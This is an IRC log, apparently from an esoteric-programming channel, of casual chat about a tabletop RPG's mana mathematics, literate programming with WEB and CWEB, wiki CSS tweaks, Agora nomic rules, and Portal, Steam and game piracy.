18:59:34 <Sgeo> Oops! You have selected a file that is too large.
18:59:41 <Sgeo> Maybe I can use dropbox or something?
19:00:34 <elliott> dropbox would probably work. but no point until tomorrow
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19:02:24 <Sgeo> If I paste to something other than Public, could Is till share that file?
19:08:12 <Sgeo> The file appears to not be showing up on the website
19:10:09 <Sgeo> Because I didn't have dropbox running. Brillian
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19:41:11 <itidus21> Sgeo: the worms where a bunch of worm sprites wander about a bitmapped terrain with tnt that works like an image editor erasor?
19:41:31 <Sgeo> itidus21, that series, yes
19:41:57 <Sgeo> Although if you have older worms in mind, Worms: Armageddon looks better
19:42:31 <itidus21> i used to have worms united cd.. but it broke
19:42:39 <Sgeo> 12 minutes left
19:43:01 <Sgeo> Phantom_Hoover, do you have an iso?
19:43:09 <Sgeo> Because if not I'm uploading one to dropbox.
19:43:30 <itidus21> im not asking to play.. im just saying worms is one of the great games :d
19:43:40 <Sgeo> itidus21, yes, yes it is.
19:45:07 * itidus21 starts to imagine esolangers in worms
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19:52:11 <oerjan> <elliott> fizzie: Hey, what should I name a CSS class meaning "all <pre> children of this won't have the ugly border"? <-- yay!
19:52:37 <fizzie> oerjan: I'm not sure "yay" is such a descriptive name.
19:53:05 <oerjan> mainly because i suggested such a feature.
19:53:37 <oerjan> (well, something reasonably equivalently useable.)
19:53:56 <oerjan> or well, i guess i was asking if it already existed.
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20:09:24 <oerjan> <Phantom_Hoover> I saw the topic, and for a minute I thought it was September, <-- september 1993, to be precise.
20:09:50 <oerjan> mind you i wasn't thinking of that when setting the topic.
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20:48:13 <kallisti> https://www.youtube.com/watch?v=uKfKtXYLG78
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20:51:45 <itidus21> i think it gets referenced when i am being dumb or annoying
20:52:26 <itidus21> people start greeting each other
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21:52:09 <ais523> ooh, reading the diff algo you linked me to here, and I think I see where this is going
21:52:32 <ais523> previous algorithm's equivalent to Dijkstra's in state space, and it's doing A* or an equivalent instead
21:53:33 <ais523> huh, the example code is in Pascal
21:53:45 <ais523> with operators replaced with mathematical notation, the same way papers sometimes do for Haskell
21:55:30 <Phantom_Hoover> pacman -Syu is failing because of an invalid signature.
21:56:17 <ais523> Phantom_Hoover: please tell me that program has a filename clash with the game Pacman ;)
21:58:13 * oerjan should have asked elliott about that pre thing before :P
21:58:51 <oerjan> now most of the formatting weirdness for the Qdeql tables is gone
22:03:04 <oerjan> it only remains for someone to actually understand them :P
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22:29:56 <zzo38> I found on Wikipedia, they do have a 0 longitude on Mars.
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22:42:23 <zzo38> ais523: WEB replaces some Pascal operators with mathematical notations, but it also includes support for named chunks, pool strings, and octal and hexadecimal constants.
22:42:56 <zzo38> (TeX is written in WEB)
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23:56:06 <Sgeo> So the packaged BZFlag is obsolete
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00:13:49 <zzo38> Completely unintentionally, Icosahedral RPG differs from D&D 3E in almost the completely opposite way to 4E differing from 3E. I started Icosahedral even before 4E was announced. 4E keeps challenge rating and discards level adjustment, while Icosahedral keeps level adjustment but discards challenge rating. 4E keeps class skills but not skills ranks; Icosahedral keeps skill ranks but not class skills. And so on.
00:14:13 <zzo38> I wanted to get rid of the d10 because it is not a Platonic solid, but I cannot easily do so.
00:17:02 <zzo38> (Also, I made it, level adjustments are actually replaced by a slightly more general concept of "pseudolevels", which work mostly in the same way; and it now applies to all creatures instead of only some.)
00:17:21 <Phantom_Hoover> Oi, someone tell me if it's reasonable to dismiss anyone who thinks Feyerabend was on to something as an idiot.
00:17:27 <shadwick> zzo38: you're writing something called Icosahedral?
00:23:19 <zzo38> shadwick: I have not yet written a lot, but it is a role playing game; I have written parts of the document. I have also written the markup language for it, called Icoruma, in PHP; but I might reimplement Icoruma in C or Haskell later on.
00:24:23 <zzo38> But I can tell you that much of it is mathematical. A "mana" is a kind of mathematical thing, with primes and composites, multiplied together, like ordinary numbers; but there are only five prime manas. There is also multimana, which is the sum of zero or more manas.
00:25:23 <zzo38> And then "less than or equal to" can be defined on multimanas, which is also important to the spellcasting in this game.
00:25:58 <zzo38> It just happens that a multimana forms a continuation (this was not the intention, but it happens to be the case anyways).
00:29:20 <zzo38> Like D&D 3E, the game has skills, feats, etc. One difference is that there are no separate race stat blocks and creature stat blocks; they are unified. Another difference is that spellcasting is very different. You increase in ability scores less often than 3E. There are many other differences too.
00:31:07 <zzo38> And there is no "epic" either; classes simply go up to level 100 (but you can still multiclass).
00:31:53 <zzo38> Also, nearly all experience points is "ad hoc" in Icosahedral; there are not standard methods for gaining experience points.
00:33:56 <zzo38> A few of the standard rules of Icosahedral RPG are possible to use as optional rules in D&D 3E, and I will describe two of them. One is resurrection, in which you age twice as fast while dead (there are also a few other minor differences in resurrection). Another is that alignment entries in creature stat blocks mostly describe superstition rather than reality.
00:34:23 <zzo38> I suggest using these two rules even in D&D because it makes the game more interesting in my opinion.
00:40:25 <shadwick> I'm not a D&D player so most of that went over my head
00:40:57 <shadwick> so your Icosahedral will be a table-top game like that?
00:44:36 <zzo38> Yes, a table-top game.
00:44:50 <zzo38> Using pencil, paper, book, and dice.
00:46:33 <zzo38> The Icoruma markup language can be used to document other role playing games too, though.
00:46:55 <zzo38> ("Icoruma" is actually short for "Icosahedral Rules Markup" since that is its original use.)
00:49:15 <zzo38> Instead of "dungeon master", the term used in this game is "referee".
00:50:48 <zzo38> The Fundamental Rule of Icosahedral RPG says: "All rules have exceptions, including this one."
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01:06:39 <zzo38> A multimana x is less than or equal to a multimana y if and only if you can match each mana in x with a mana in y such that: Each mana in x matches to a distinct mana in y (although there can be multiple equal manas in y, and you do not have to use all the manas of y), and the mana in y which each mana in x is matched up with, the one in x must be a factor of the one it is matched up with it in y.
01:06:43 <zzo38> Does this look correct to you?
01:19:33 <fizzie> It *sounds* like an okay partial order, at least at a glance.
01:20:32 <zzo38> Notice that, just if x is not less than or equal to y does not necessarily make y less than or equal to x; this is intentional.
01:52:52 <shadwick> Finally got my interpreter for the Alchemy language working and written nicely
01:52:52 <shadwick> https://bitbucket.org/shadwick/alchemy/wiki/Home
01:53:13 <shadwick> I'll update the esolang wiki page soon to fill in info its missing..
02:04:26 <Sgeo> tswett, UPDATE
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04:02:42 <shachaf> kmc: Apparently I accidentally joined #trains without noticing.
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04:03:01 <shachaf> Not that I mind trains, but that particular virtual channel seems to keep growing...
04:03:23 <kmc> sometimes people are wrong about trains
04:03:27 <kmc> on the internet
04:03:41 <shachaf> You gotta turn the wrong people into right people.
04:04:01 <kmc> you understand
04:04:25 <shachaf> By calling them communist.
04:04:35 <shachaf> Wait, lexande isn't the wrong one.
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04:18:50 <kmc> <kmc> rocket sleds go much faster, but are not generally used in revenue service
04:35:07 <coppro> How come SIGSTOP has the effect of killing processes that are in the middle of dying but not dying for some reason?
04:35:24 <shachaf> coppro: What does that mean?
04:35:43 <coppro> sometimes firefox gets into a hang, SIGTERM won't get rid of it
04:36:02 <coppro> but SIGSTOP isn't supposed to actually kill, only suspend
04:39:31 <zzo38> Is there Haskell library for geometry?
04:42:19 <kmc> coppro, strange, I've never seen that
04:42:47 <kmc> hm you can't catch SIGSTOP either
04:42:58 <kmc> so it's not a matter of a signal handler un-wedging the process
04:43:34 <shachaf> Maybe the process's parent kills it?
04:43:35 <coppro> kmc: it's actually a nice trick since SIGKILL is nasty
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05:44:46 <kmc> so is m4 actually a bad language or is it just associated with things people hate (autoconf, sendmail)
05:46:40 <shachaf> kmc: It's a slightly weird language.
05:46:54 <shachaf> In my limited experience, it's not particularly great but it's not horrible either.
05:47:08 <shachaf> And it doesn't have many competitors, especially portable/generally-available ones.
05:51:01 <kmc> has anyone seen actual Haskell code which uses m4?
05:51:19 <kmc> when i complain about the lack of a good Haskell preprocessor people always suggest m4
05:51:23 <kmc> but i get the impression they're trollin'
05:51:35 <kmc> shachaf, what have you used m4 for?
05:51:39 <shachaf> That sounds like a correct impression.
05:51:58 <shachaf> kmc: At RDB we used it for making package description files and things like that.
05:52:31 <shachaf> My experience with it isn't very extensive or anything, but that was the impression I got.
05:53:08 <shachaf> I actually wish there was a viable alternative to CPP for preprocessing C code. :-(
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06:00:11 <zzo38> shachaf: There is CWEB and Enhanced CWEB which allows you to use CPP as well as other things, maybe that will ehlp?
06:00:32 <shachaf> zzo38: Yes, WEB is a possibility.
06:01:03 <shachaf> But it's a pretty big change to how you write programs.
06:01:34 <zzo38> shachaf: WEB is for Pascal, but it is a very good preprocessor for Pascal. CWEB is the similar thing for C codes.
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06:02:53 <kmc> what's the big change?
06:05:59 <zzo38> shachaf: Can you be specific please?
06:07:53 <shachaf> I'll admit that I haven't read many WEB-style programs, so I only have a vague impression of it. The programs I've seen have been split up and spread out in an order completely different from execution order. Well, not that normal C programs are written in "execution order" exactly, but this is much more extreme.
06:08:16 <shachaf> It might be better -- Knuth says it is -- but reading a CWEB program is a completely different experience from reading a C program.
06:08:28 <zzo38> TeX is a program written in WEB; you can see that as one possible example.
06:09:07 <zzo38> (It is published as a book, although you can also download it.)
06:09:52 <shachaf> There are lots of programs written in CWEB at http://www-cs-faculty.stanford.edu/~uno/programs.html :-)
06:11:09 <zzo38> WEB adds macros, octal constants, hexadecimal constants, ASCII character code constants, and pool strings, to Pascal, as well as named chunks reordering. C already has some of this stuff, but CWEB adds named chunks. There are also a few other features. And my own Enhanced CWEB adds even more things, such as being able to execute C codes at compile-time to generate C codes which will be compiled.
06:12:54 <shachaf> https://github.com/ascherer/mmix/blob/master/mmixal.w
06:13:06 <zzo38> Which exactly are features you have wanted to use?
06:13:43 <zzo38> Cackala: What is all that mess?
06:16:04 <zzo38> I have also written some programs in CWEB, such as the BytePusher implementation.
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06:22:47 <shachaf> Maybe literate programming would solve all my problems.
06:23:10 <zzo38> Probably not all of them, but possibly many of them, depending on what your problem is!
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07:12:05 <zzo38> Why is there no ephemeris program in Haskell?
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07:24:42 <kmc> ime, literate programming is great for blog posts and the like
07:24:55 <kmc> not as good for "real programming"
07:25:16 <kmc> but that's based on using plain lhs, not any of the fancy systems which let you jump between source files, etc
07:25:34 <shachaf> kmc: .lhs is very different from WEB.
07:25:58 <shachaf> It's just a different comment syntax for Haskell.
07:27:00 <kmc> well, the philosophy behind literate programming is more than "comments are default"
07:27:07 <kmc> and you can realize that within lhs to some degree
07:28:16 <kmc> is which? i didn't say what i thought the literate programming philosophy is
07:28:27 <zzo38> That is true; .lhs does not have the features of WEB. But it is possible for a .lhs file to be the format of other files such as TeX or MediaWiki or HTML or whatever. It can be done without needing a program to convert from one format to another, even.
07:28:53 <kmc> in particular, Markdown
07:29:32 <shachaf> Oh, I misread what you said.
07:29:42 <zzo38> (In HTML, use <XMP> and in XHTML, use CDATA. In TeX, you need some macros to make it work but there are a few such things and I have written one called "birdstyle.tex". For MediaWiki, just surround the code in <pre> or <pre><nowiki> tags.)
07:29:59 <zzo38> kmc: I don't know much about Markdown
07:30:06 <kmc> markdown+lhs is a nice format
07:30:09 <kmc> i use it a lot for my blog
07:30:18 <kmc> pandoc can render it to html with syntax highlighting
07:31:00 <zzo38> However blog posts usually do not actually work like I specified so you cannot simply wget the article and run it.
07:31:21 <kmc> sometimes i provide a link to the code on github or somewhere
07:32:09 <zzo38> Can you do it so that you can use wget or the save webpage function?
07:32:14 <kmc> not easily
07:32:19 <kmc> but there are probably ways
07:32:28 <kmc> aiui the literate philosophy is that your source should be a document written for humans which explains how the program works
07:32:35 <zzo38> Yes, I told you how; there is one way for HTML and one way for XHTML.
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07:33:35 <zzo38> Are you able to do using XMP and CDATA?
07:35:51 <zzo38> I have made up some new commands in the .cabal file for printing literate Haskell programs, but as far as I know, there are no programs which will read those commands. But they start with "X-" so that it is not error if unrecognized.
07:37:03 <shachaf> Hmm, I think I just found a "bug" shared among a large number of the C programs on Knuth's website.
07:37:12 <shachaf> At least according to C99.
07:37:14 <zzo38> shachaf: What one is that?
07:38:06 <shachaf> In fact, it looks like I can make most of those programs crash under Solaris.
07:38:15 <zzo38> Do you think this is good? http://sprunge.us/BaDc It is incomplete; you can suggest to add more things
07:39:13 <zzo38> (If you look at my own packages on Hackage, you will see that they use that.)
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10:27:34 <Taneb> This is a silly channel
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10:37:29 <kmc> "Their fluorescent nipples were drawn with a special rendering mode usually reserved for fog-piercing runway landing lights, so they could easily be seen from long distances in bad weather."
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11:37:34 -!- oerjan has set topic: This is ALMOST the TALLEST CHUPACABRA you will SING all MIDSUMMER: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
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11:43:16 <elliott> (diff | hist) . . N Basic Input/Output Commands; 02:21 . . (+2,938) . . 202.156.14.10 (Talk | block) (Reimagined even more - wait, the old examples are now obsolete.)
11:43:16 <elliott> (diff | hist) . . Basic Input/Output Commander; 02:21 . . (-169,556) . . 202.156.14.10 (Talk | block) (Renamed: Basic Input/Output Commands) [rollback]
11:43:41 <elliott> oerjan: please go back in time and kill 202.156.14.10 so i do not have to do a history merge.
11:44:24 <elliott> oerjan: http://esolangs.org/w/index.php?title=Talk:Esoteric_Operating_System&curid=8322&diff=31213&oldid=31116 also, tell them to stop editing comments that people have already replied to.
11:44:25 <oerjan> i'm afraid my time machine still has some fundamental problems.
11:44:41 <elliott> wait, they edited /other people's comments/
11:44:46 <elliott> to make them in line with their edits
11:44:52 <oerjan> why are you asking me to do things you know i'm even _worse_ at than you?
11:45:02 <elliott> I can't tell whether they just don't understand wikis, or don't care...
11:45:06 <elliott> oerjan: so I don't feel the obligation to
11:45:50 <elliott> "Warning: this procedure may only be undone by spending quite silly amounts of time. To undo a merge, see below. Do not do this if you're not sure what you're doing."
11:46:55 <myname> this "do something"-system
11:47:29 <oerjan> do something, abbreviated DOS
11:48:51 <myname> liked the idea, but i was too afraid to actually test it
11:50:01 <elliott> myname: it doesn't actually exist :P
11:52:15 <elliott> ok now i give myself a brief rest before teaching 202.156.14.10 how to move pages and use talk pages :P
11:56:04 <elliott> coppro: AGAINST, trying to tarnish Agora's fine history of coprophilia
11:56:57 <oerjan> ...i'd expect coppro to not change that...
11:57:54 <elliott> oerjan: he's proposed to change COPPRO STRAIGHT to COOK SCSTRAIGHT in the Map
11:58:03 <elliott> presumably because his name is scshunt these days
11:58:08 <elliott> (has oerjan even seen the map?)
11:58:33 <elliott> see first rule in http://agora.qoid.us/current_flr.txt :P (Rule 2105)
11:58:47 <elliott> i think it's been around for a while.
12:01:09 <oerjan> i see no tasmania, and you got the spelling of the second horrendously wrong. i have this eerie feeling i've seen a similar map before somewhere, though.
12:02:04 <elliott> wait, what did i spell wrong.
12:02:30 <elliott> it's the thing with the Hobart label.
12:02:55 <oerjan> oh. well how could i know that when the name's not written on it.
12:03:29 <elliott> because hobart is a real place?
12:03:39 <elliott> also, neither Australia nor New Zealand are labelled there either :P
12:03:57 <oerjan> i think elliott is having mighty strong winds overhead right now.
12:04:00 <Phantom_Hoover> oerjan, because it's the same size and shape as Tasmania and it's in the same place?
12:04:46 <elliott> oerjan: i think you've forgotten to make a joke.
12:04:55 <elliott> you have to do that before acting clueless, you see
12:05:39 <oerjan> i thought my "eerie feeling" comment would be sufficient.
12:06:06 <oerjan> it's hard to be subtle when Phantom_Hoover is supplying the bricks.
12:06:17 <elliott> oh, the joke is that it looks like australia. ok
12:07:35 <itidus21> which is curiously larger than norway and london combined
12:09:23 <oerjan> i see they haven't colonized the whale-shaped island yet.
12:10:06 <elliott> once I was Mad Scientist and got the Map as my randomly-selected rule. that one was tricky.
12:10:25 <oerjan> or perhaps the rest is very small
12:10:37 <elliott> (see http://agora.qoid.us/rule/2192#610447, http://agora.qoid.us/rule/2193#610449)
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12:11:24 <elliott> the results of the Map being selected can be seen at the bottom of the latter. (but it will only make sense if you read the former first.)
12:13:02 <oerjan> those two links have no line wrapping in my browser :(
12:13:26 <itidus21> 339,000km^2 + 450,000km^2 + 386,000km^2 + 244,000km^2 < 7,610,000km^2 .. australia's land area can swallow quite a lot
12:13:36 <elliott> so i don't see why it shouldn't
12:13:45 <elliott> the ruleset is in pre-wrapped form
12:13:51 <elliott> you see whitespace but no line breaks?
12:14:02 <elliott> i mean, there are even explicit <br />s in the content it inserts.
12:14:07 <elliott> so your browser is just completely broken.
12:14:18 <elliott> http://agora.qoid.us/oldflr/1.872#rule-2192
12:14:22 <elliott> http://agora.qoid.us/oldflr/1.874#rule-2193
12:14:42 <elliott> (yes, those are raw RCS files.)
12:14:51 <elliott> http://agora.qoid.us/current_flr.txt,v :P
12:15:30 <oerjan> elliott: view source shows lots of <br \/>
12:15:39 <elliott> oerjan: the other links i gave should work
12:15:44 <elliott> (ok it's not a raw RCS file, it's processed by the script that adds the links and stuff.)
12:16:26 <oerjan> oh right it's a js string
12:16:56 <elliott> ok oerjan is determined to use the broken links i gave :P
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12:17:41 <oerjan> no i was just looking at the source
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12:18:54 <oerjan> this seems much like the frankenstein monster back in my time
12:20:24 <elliott> it lead to some fun scams due to being a person.
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12:29:23 <elliott> oerjan: hmm, the difference between http://esolangs.org/w/index.php?title=Brainfuck_bitwidth_conversions&oldid=31203 and http://esolangs.org/w/index.php?title=Brainfuck_bitwidth_conversions&oldid=31223 worries me.
12:29:36 <elliott> somehow <pre class="plain">blah</pre> has _less_ margin than <code>blah</code>
12:29:46 <elliott> possibly something to do with the line height
12:30:45 <oerjan> elliott: i noted in [[Qdeql]] the lines got less tall, but then i realized it actually looked better that way.
12:31:48 <Phantom_Hoover> RocketJSquirrel, hahahaha i thought this was half-life 2 not harry potter
12:32:50 <oerjan> elliott: also, some of the spacing depends on the height of the cell overall
12:32:53 <myname> the width of the blocks differ, too
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12:34:36 <myname> on the second one everything on css that is applied to the code fills out the whole table cell
12:34:56 <myname> on the first one it only applies on the code itself
12:35:35 <oerjan> (some of this realization was due to looking at both versions, confusing which was the old and new one, and wondering why the new one was so much uglier.)
12:37:22 <oerjan> myname: erm the width looks identical to me
12:38:26 <elliott> the width is the same here
12:38:39 <elliott> but yes, code being inline and pre being block complicates this
12:38:41 <myname> the width of the cells are
12:38:50 <elliott> <oerjan> (some of this realization was due to looking at both versions, confusing which was the old and new one, and wondering why the new one was so much uglier.)
12:39:23 <oerjan> elliott: i had to revert a couple of <pre>'s to <code> because of that inline vs. block thing, i first got confused why it suddenly wrapped lines...
12:39:47 <oerjan> but those were the cells that mixed code and ordinary text
12:39:48 <elliott> oerjan: well the thing about this is that if you add any non-preformatted text in another cell on the same row, it'll grow to the same height as it was before turning into pre
12:39:52 <elliott> that makes it uglier, to me
12:39:59 <elliott> e.g., imagine if you have a table where only some rows have non-preformatted text
12:40:05 <elliott> it'll have varying heights of rows
12:40:11 <elliott> (assuming all the <pre>s are one line)
12:41:42 <oerjan> elliott: ok, but are you sure <code> has the same height as non-preformatted text, anyhow
12:42:57 <elliott> oerjan: well it's an inline element with no padding, margin or line-height, so I'm going to go with yes. but let me prepare a test
12:43:57 <elliott> http://esolangs.org/w/index.php?title=Esolang:Sandbox&oldid=31225
12:43:58 <elliott> http://esolangs.org/w/index.php?title=Esolang:Sandbox&oldid=31227
12:44:26 <elliott> http://esolangs.org/w/index.php?title=Esolang:Sandbox&oldid=31225
12:44:27 <elliott> http://esolangs.org/w/index.php?title=Esolang:Sandbox&oldid=31228
12:44:32 <elliott> pre.plain _is_ definitely less tall
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13:22:10 <elliott> http://www.w3.org/History/19921103-hypertext/hypertext/WWW/FAQ/KeepingTrack.html
13:26:54 <elliott> "During the test phase of the WWW project, the port number to which the daemon listens was 2784. W3 has officially allocated port number 80. Servers should use port 80 and advertise their address with the explicit port number (i.e. http://host:80/etc...)."
13:32:44 <Vorpal> Hm, I wonder if there will be a Portal 3? I just can't see where you would go from the ending of Portal 2 though...
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13:34:46 <fizzie> "Portal 3: Portal in Space"?
13:35:21 <Vorpal> fizzie, you pretty much have to change the protagonist though
13:35:31 <fizzie> Well, it could be Wheatley.
13:35:34 <fizzie> He's already in space.
13:35:42 <Vorpal> as the protagonist? Oh god
13:35:46 <fizzie> Ooh, or the Space Core.
13:35:59 <Vorpal> nah, that ended up in Tamriel
13:37:35 <elliott> "RFCs that include URLs as generic examples must be careful to use the particular example URLs defined in RFC 2606, "Reserved Top-Level DNS Names", to avoid accidental conflicts with real URLs.
13:37:45 <elliott> RFC 2606 does not actually define any URLs at all.
13:38:26 <Vorpal> elliott, you haven't played Portal 2?
13:38:33 <elliott> No. I haven't played Portal, either.
13:38:49 <fizzie> And now you NEVER WILL ah ah AH ah.
13:38:54 <fizzie> Because: it was spoiled.
13:39:06 <elliott> I haven't played them because I don't have a computer that can play them.
13:39:19 <elliott> Well, the Mac should be able to. But that's in a box somewhere.
13:39:27 <elliott> And I don't have Windows installed on it.
13:39:48 <elliott> So, no, I haven't played Portal and Portal 2 yet, and would prefer to avoid spoilers for the latter.
13:39:58 <elliott> (Avoiding spoilers for Portal is impossible.)
13:39:58 <myname> play dwarf fortress :p
13:39:58 <ion> I finally have a computer that should run Portal well and perhaps even Portal 2 playably, but it seems something about the combination of Portal, Wine and fglrx doesn’t work very well.
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13:40:16 <Vorpal> elliott, Portal 1 runs fine in wine btw
13:40:17 <Vorpal> not sure if that runs on OS X
13:40:21 <elliott> myname: It probably has higher system requirements than Portal, though.
13:40:23 <ion> I also have a copy of Portal, perhaps i’ll be able to play it some day. :-P
13:40:31 <elliott> But at least it doesn't suffer for terrible GPUs.
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13:40:34 <myname> elliott: not for the gpu
13:40:44 <Vorpal> ion, I ran that very combination just fine. Some artifacts on the main menu though
13:40:45 <elliott> Well, I mean, it *could* simulate the tiles on a GPU.
13:40:48 <elliott> It's a pretty parallel thing.
13:40:56 <myname> it just cuts battery runtime to it's half here
13:41:35 <elliott> Vorpal: Wine does run on OS X. But it requires X11.
13:42:00 <elliott> A Windows partition is a better idea, but I'd have to shrink the OS X one, since I've got Linux on there.
13:42:11 <elliott> And the OS X partition doesn't have much wiggle room.
13:42:43 <elliott> Also, I don't really feel like buying the games separately, as opposed to just getting the Valve Complete Pack when I have a computer I *know* will be able to play them all.
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13:43:56 <nortti> elliott: What is so bad about X11?
13:44:11 <elliott> nortti: Well, everything. But it's more X11-on-OS X that's the problem here.
13:44:29 <elliott> It's rather irritating to use. Also I'm sceptical of its performance in a hardware-accelerated 3D game scenario.
13:45:02 <myname> you could play portal on wine with linux *g*
13:45:02 <nortti> elliott: I have had no problems using it under OS X 10.4 on my iBook g4
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13:45:38 <elliott> nortti: And I bet you can't run Portal on it :P
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13:46:16 <nortti> elliott: well it is powerpc, so wine or steam doesn't really on it
13:46:46 <elliott> (You know Leopard runs on PPC, right?)
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13:47:38 <nortti> elliott: I know, but Leopard doesn't offer me anything worth the price and losing Classic mode
13:48:11 <elliott> Those quaint Finns, paying for software and everything.
13:48:30 <Vorpal> <elliott> Also, I don't really feel like buying the games separately, as opposed to just getting the Valve Complete Pack when I have a computer I *know* will be able to play them all. <elliott> Those quaint Finns, paying for software and everything.
13:48:47 <elliott> (OK, so finding a half-decent Leopard ISO was a hellish experience.)
13:49:01 <elliott> Vorpal: Steam is more convenient than piracy.
13:49:38 <Vorpal> elliott, have you actually used steam? As soon as there is a sale on it becomes sluggish, and many games refuse to start due to connection issues.
13:49:44 <nortti> elliott: I strongly oppose piracy, but many people find it weird because I am member of piraattinuoret (Youth organization of pirate party of Finland)
13:49:59 <elliott> Which is annoying, because the things I hate about Steam are completely unrelated to the things that are awful about it.
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13:50:36 <Phantom_Hoover> <Vorpal> elliott, have you actually used steam? As soon as there is a sale on it becomes sluggish, and many games refuse to start due to connection issues.
13:50:54 <elliott> <Phantom_Hoover> <Vorpal> elliott, have you actually used steam? As soon as there is a sale on it becomes sluggish, and many games refuse to start due to connection issues.
13:51:01 <Phantom_Hoover> <elliott> <Phantom_Hoover> <Vorpal> elliott, have you actually used steam? As soon as there is a sale on it becomes sluggish, and many games refuse to start due to connection issues.
13:51:11 <elliott> Vorpal: I haven't, but I know enough people who have.
13:51:20 <elliott> Vorpal: Compare to torrents, which are ~always sluggish. :p
13:51:34 <elliott> Phantom_Hoover: 90% of it is the awful DRM.
13:51:54 <Phantom_Hoover> Not informed on that front; is it some online thing or other?
13:52:06 <Vorpal> elliott, I have used it, and yes it is convenient when it works. But more than once it had said "too high load to download game right now" or similar. And even when a game is actually installed it can fail to start if the severs are overloaded.
13:52:11 <elliott> Phantom_Hoover: Yes, you have to be online to play (unless you turn on "offline mode" beforehand (which likes to turn itself off)).
13:52:15 <Vorpal> unlike a pirated copy, which just works
13:52:26 <elliott> Phantom_Hoover: The other 8% is the social nonsense, but that's more personal distaste of it than disliking that it actually exists.
13:52:30 <Vorpal> (well, it consistently either works or doesn't)
13:52:36 <elliott> Phantom_Hoover: The other .9% is the automatic, forced updates.
13:52:43 <Phantom_Hoover> <elliott> So, no, I haven't played Portal and Portal 2 yet, and would prefer to avoid spoilers for the latter.
13:52:51 <Vorpal> elliott, I managed to get steam to stay in offline mode currently
13:53:03 <elliott> Vorpal: Pirated copies do not "just work".
13:53:21 <Vorpal> elliott, either they are buggy or they work, they don't depend on the load of a remote server.
13:53:30 <elliott> (Who gave in and bought Skyrim on Steam after multiple issues.)
13:53:43 <Phantom_Hoover> Using Steam is inconvenient when you forget where you left your debit card, hence why I am torrenting Fallout 3 right now.
13:53:49 <elliott> Vorpal: No, Phantom_Hoover managed to play the game just fine, it was just (a) a pain to get the pirated copy working and (b) had multiple issues afterwards.
13:53:56 <Vorpal> elliott, I have Skyrim on steam because I think it was worth the money.
13:54:02 <elliott> I don't care what you have on Steam.
13:54:07 <Vorpal> but I did play the pirated version earlier
13:54:08 <Phantom_Hoover> elliott, well it was mainly because I was too lazy to get the HD textures and I wanted to show up my friend who also pirated it.
13:54:21 <Vorpal> it was just the usual bugginess from a release version
13:54:35 <elliott> Phantom_Hoover: Also because finding a reliable-looking pirated version of the patch was impossible, etc.
13:54:58 <elliott> Piracy is a lot more practical when there haven't been updates in the past five years, and there are no mods.
13:55:02 <Vorpal> Phantom_Hoover, meh, the HD textures aren't really worth it, there are better third party HD textures, that actually improves many of the textures the HD pack didn't
13:55:08 <Vorpal> besides the HD pack is bugged
13:55:25 <Phantom_Hoover> Well, I mean, the Nexus mods all worked fine with the pirated version.
13:55:38 <nortti> "I agree that there should be a newbie subforum where people can ask questions without seven levels of hell immediately being emptied over them if they've asked something lazy or ignorant."
13:55:53 <Phantom_Hoover> Also shut up Vorpal, it works fine with the exception of one texture.
13:55:57 <Vorpal> Phantom_Hoover, the HD pack uses (used?) the normal map as the texture on something
13:56:40 <Vorpal> Phantom_Hoover, I believe there were some minor issues elsewhere too, like a incorrectly named texture (so the improved one didn't actually show up)
13:56:52 <Phantom_Hoover> And don't need to conform to the obnoxious aesthetics of most modders.
13:58:09 <Vorpal> Phantom_Hoover, anyway I prefer Nexus Mod Manager. The Steam Workshop 1) auto updates mods 2) is sluggish 3) seems to bug out randomly sometimes 3) Since I use the Script Extender I first have to launch the game from steam to the launcher to let it download updates, then I quit it and re-launch it from the script extender...
13:58:28 <Vorpal> (okay the last one isn't really Bethesda's or Valve's fault, but the other ones)
13:59:22 <Vorpal> I didn't claim you didn't
13:59:47 <Vorpal> "<Phantom_Hoover> Well, I mean, the Nexus mods all worked fine with the pirated version."
14:00:13 <Phantom_Hoover> The start of your sentence only makes sense if someone had previously mentioned Steamworks mods as a reason to use it.
14:00:19 <Vorpal> (I actually don't have any steam workshop mods currently, managed to find all on nexus now)
14:00:29 <Vorpal> Phantom_Hoover, whatever
14:41:23 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
14:41:23 <myndzi\> | | | `\o/´ | | | `\o/´ | | |
14:41:24 <myndzi\> >\ /| /< | |\ |\ /'\ | /< >\ /|
14:41:27 <elliott> ^rainbow \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
14:41:27 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
14:41:39 <elliott> fizzie: By the way, you should add ^. to fungot.
14:41:40 <fungot> elliott: i'm lazy about comprehending things all the functionality is all that is needed by the perl fingerprint docs... hm...
14:44:23 <itidus21> so what I am to take away from this is that people are encouraged to pirate to avert the performance issues associated with DRM? :D
14:45:08 <itidus21> ahh i am so glad it will all be over one day
14:48:00 <elliott> where is ais when you need him.
15:02:14 <elliott> RocketJSquirrel: I'm removing yr matrix of solidity tooltip from the logo.
15:03:23 <elliott> RocketJSquirrel: https://www.google.co.uk/search?q=esolangs
15:03:29 <elliott> Observe the excerpt from the main page it uses.
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15:04:00 <elliott> OUR CTR ON THAT QUERY IS ONLY 34% ;___;
15:04:28 <elliott> RocketJSquirrel: I tell ya what, I'll try and figure out a way to put it lower in the markup but still appear in the same place :P
15:05:20 <olsner> oh, now I know who RocketJSquirrel is
15:05:29 <fizzie> Hey, that's crazy: Google's preview screenshot of zem.fi actually shows one of the canvas-driven logos.
15:05:36 <fizzie> The "ifsfeedback" one.
15:05:47 <fizzie> It looks a bit like matrix of solidity fanart.
15:05:52 <elliott> fizzie: Weeell, they pretty obviously use a Real Browser to do them, or websites would look terrible.
15:05:58 <elliott> fizzie: Considering how much stuff depends on JS, it's not surprising they run it.
15:05:59 <itidus21> i am not very fluent with pastelogs
15:06:26 <elliott> I imagine they run Chrome fullscreen in a VM, wait until it stops loading, wait a second or two, and then take a screenshot.
15:06:26 <fizzie> I.. guess, but I wouldn't have expected that. Especially since what with all the setTimeouts and such it takes five seconds or so to get that far.
15:06:41 <elliott> fizzie: Consider how many "apps" load the actual content with JS.
15:06:47 <elliott> Could easily take a few seconds, factoring in network delays.
15:07:01 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.32185
15:07:04 <elliott> Admittedly it's not _un_surprising.
15:07:21 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28959
15:07:31 <elliott> This is nicely reassuring.
